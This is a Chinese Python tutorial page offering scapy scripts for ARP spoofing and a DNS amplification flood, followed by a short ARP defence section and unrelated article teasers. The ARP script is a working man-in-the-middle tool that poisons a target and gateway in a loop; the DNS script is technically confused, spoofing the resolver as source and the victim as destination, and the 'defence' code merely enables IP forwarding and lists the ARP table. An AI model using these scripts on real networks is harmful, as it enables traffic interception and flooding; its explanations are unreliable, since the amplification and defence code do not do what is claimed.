Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子

我会给出基于Python中使用scapy模拟数据包实现arp攻击、dns放大攻击的完整攻略,并附上相应的示例说明。

一、arp攻击

1.1 arp欺骗

攻击机发送arp响应欺骗目标机,使得目标机将攻击机当作网关,将数据包发往攻击机上,达到窃取目标机信息的目的。

示例代码:

from scapy.all import *
import os
import sys
import threading 

tgt_ip = "192.168.1.100" # 目标主机IP
gtw_ip = "192.168.1.1" # 网关IP
tgt_mac = "" # 目标主机MAC
gtw_mac = "" # 网关MAC

def get_mac(ip_addr):
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_addr), timeout=2, retry=10)
    for s, r in responses:
        return r[Ether].src
    return None

def arp_poison(tgt_ip, tgt_mac, gtw_ip, gtw_mac):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gtw_ip
    poison_target.pdst = tgt_ip
    poison_target.hwdst = tgt_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = tgt_ip
    poison_gateway.pdst = gtw_ip
    poison_gateway.hwdst = gtw_mac

    print("[*] 开始ARP欺骗,按Ctrl+C可停止")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            print("[*] 停止ARP欺骗")
            sys.exit(1)

def main():
    global tgt_mac
    global gtw_mac

    tgt_mac = get_mac(tgt_ip)
    if tgt_mac is None:
        print("[!] 获取目标主机MAC失败")
        sys.exit(1)
    else:
        print("[*] 目标主机MAC:", tgt_mac)

    gtw_mac = get_mac(gtw_ip)
    if gtw_mac is None:
        print("[!] 获取网关MAC失败")
        sys.exit(1)
    else:
        print("[*] 网关MAC:", gtw_mac)

    # 创建ARP欺骗线程
    arp_thread = threading.Thread(target=arp_poison, args=(tgt_ip, tgt_mac, gtw_ip, gtw_mac))
    arp_thread.start()

if __name__ == '__main__':
    main()

1.2 arp防御

采取静态ARP和动态ARP配合的方式,可以有效避免arp欺骗攻击。

静态ARP:由管理员手动定义IP地址和MAC地址的对应关系,此绑定关系无法自动更新。相当于将MAC地址绑定到相应的IP地址上,这样的绑定关系在网络中是静态不变的。

动态ARP:动态获取邻居信息(邻居就是在局域网中设置相同的网关的计算机)。在ARP协议中,有一种请求报文是“who has”,就是用来查询目标机器MAC地址的。发送“who has”报文请求的目标地址不存在时,会广播ARP请求报文,这时每台主机都会接收到该广播并且将自己的MAC地址回送给请求的机器,这样目标机器就获得了合法的下一跳MAC地址信息。

示例代码:

import os
import time

os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') # 打开IP转发
while True:
    os.system('arp -a')
    time.sleep(5)

二、dns放大攻击

2.1 原理

既然我们能够自己伪造udp数据包,也就可以在发送数据包的时候将目标IP地址篡改成公共的DNS服务器IP地址,这样,通过DNS服务器就能向指定的目标ip发送非常大的响应包,从而攻击目标服务器主机。

2.2 示例代码

以下代码演示了如何通过scapy构造UDP包中的DNS消息格式,从而完成DNS放大攻击。

from scapy.all import *
import random

target_ip = "172.16.1.5" # 目标主机IP
spoof_ip = "8.8.8.8" # DNS服务器IP
target_port = 53 # 目标主机端口

query = DNS(rd=1, qd=DNSQR(qname="www.runoob.com"))
ip = IP(src=spoof_ip, dst=target_ip)
udp = UDP(sport=random.randint(1024, 65535), dport=target_port)
pkt = ip/udp/query

while True:
    send(pkt)

以上就是基于Python中使用scapy模拟数据包实现arp攻击、dns放大攻击的完整攻略,以及两个示例代码。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子 - Python技术站

(0)
上一篇 2023年6月3日
下一篇 2023年6月3日

相关文章

  • python使用xlrd模块读取excel的方法实例

    下面我将给出一个详细的 python 使用 xlrd 模块读取 Excel 的方法实例教程,包含以下内容: 安装 xlrd 模块 读取 Excel 文件基本信息 读取数据 Excel 中含有多个工作表的处理方法 首先,我们需要安装 xlrd 模块。可以使用 pip 命令在命令行终端直接安装: pip install xlrd 安装完成后,我们先来看看如何读取…

    python 2023年5月13日
    00
  • Python实现电脑壁纸的采集与轮换效果

    针对Python实现电脑壁纸的采集与轮换效果,我们可以分为以下几个步骤进行实现: 一、寻找图片API 我们需要在网上寻找关于图片API的资源,这里提供两个比较好的API资源: 1.1 Unsplash API Unsplash是一个提供高质量免费图片下载的社区,其提供了一个强大的API,通过API可以获得高分辨率图片。Unsplash提供的API账号注册、申…

    python 2023年5月20日
    00
  • python 爬虫出现403禁止访问错误详解

    当使用Python进行网络爬虫时,可能会遇到被网站拒绝访问的情况,出现403 Forbidden错误。这种错误是由于目标网站的服务器禁止程序访问或者限制了访问请求的频率。下面是解决这种问题的完整攻略。 1.使用 User-Agent/Header 伪装请求头 许多网站可以检测到其服务器是否被网络爬虫访问,如果检测到则会拒绝访问。因此我们可以使用 User-A…

    python 2023年6月3日
    00
  • 记录Python脚本的运行日志的方法

    当我们编写Python脚本时,经常需要记录程序的运行日志,用来追踪程序的执行过程,排除问题和调试程序。以下是记录Python脚本的运行日志的方法的完整攻略,具体包含以下几个部分: 第一步:引入日志模块 Python自带了一个logging模块用来记录日志。因此,我们需要先导入logging模块,并设置日志输出级别,一般情况下,我们推荐使用DEBUG、INFO…

    python 2023年6月3日
    00
  • python调用函数、类和文件操作简单实例总结

    Python是一种高级的编程语言,它有非常丰富和强大的标准库,可以帮助我们快速实现各种功能。在Python中,函数和类是非常重要的组成部分,并且文件操作也是我们常常需要用到的功能之一。下面我们就来详细讲解一下Python调用函数、类和文件操作的简单实例。 Python调用函数 在Python中,使用函数可以帮助我们封装一些重复的代码,从而让代码更加简洁、高效…

    python 2023年6月5日
    00
  • PyTorch 编写代码遇到的问题及解决方案

    当我们在PyTorch中编写代码时,可能会遇到各种问题。以下是PyTorch编写代码遇到的问题及解决方案的完整攻略。 1.内存不足 在PyTorch中,我们可以使用GPU来加速模型训练。然而,我们的模型或数据集过大时可能会导致GPU内存不足的问题。这时,我们需要采取一些措施来解决这个问题。 解决方案 1.1 减少batch size 减少batch size…

    python 2023年5月13日
    00
  • 关于python中第三方库交叉编译的问题

    关于Python中第三方库交叉编译的问题,我们需要考虑到两方面问题:第一是如何在本地编译出适用于指定平台的.so/.dll二进制文件,第二是如何在指定平台上使用这些编译好的二进制文件。以下是两种常见的解决方案及其示例说明。 解决方案一:使用交叉编译工具链 交叉编译指的是在运行平台不同于本地编译平台的情况下,将程序编译为目标平台可执行代码的过程。在Python…

    python 2023年5月13日
    00
  • Python 数据分析之Beautiful Soup 提取页面信息

    Python数据分析之BeautifulSoup提取页面信息 在本教程中,我们将介绍如何使用Python和BeautifulSoup库来提取网页中的信息。我们将提供两个示例,演示如何使用BeautifulSoup库来提取网页中的所有链接和特定元素的信息。 安装BeautifulSoup库 在使用BeautifulSoup库之前,我们需要先安装它。可以使用pi…

    python 2023年5月15日
    00
合作推广
合作推广
分享本页
返回顶部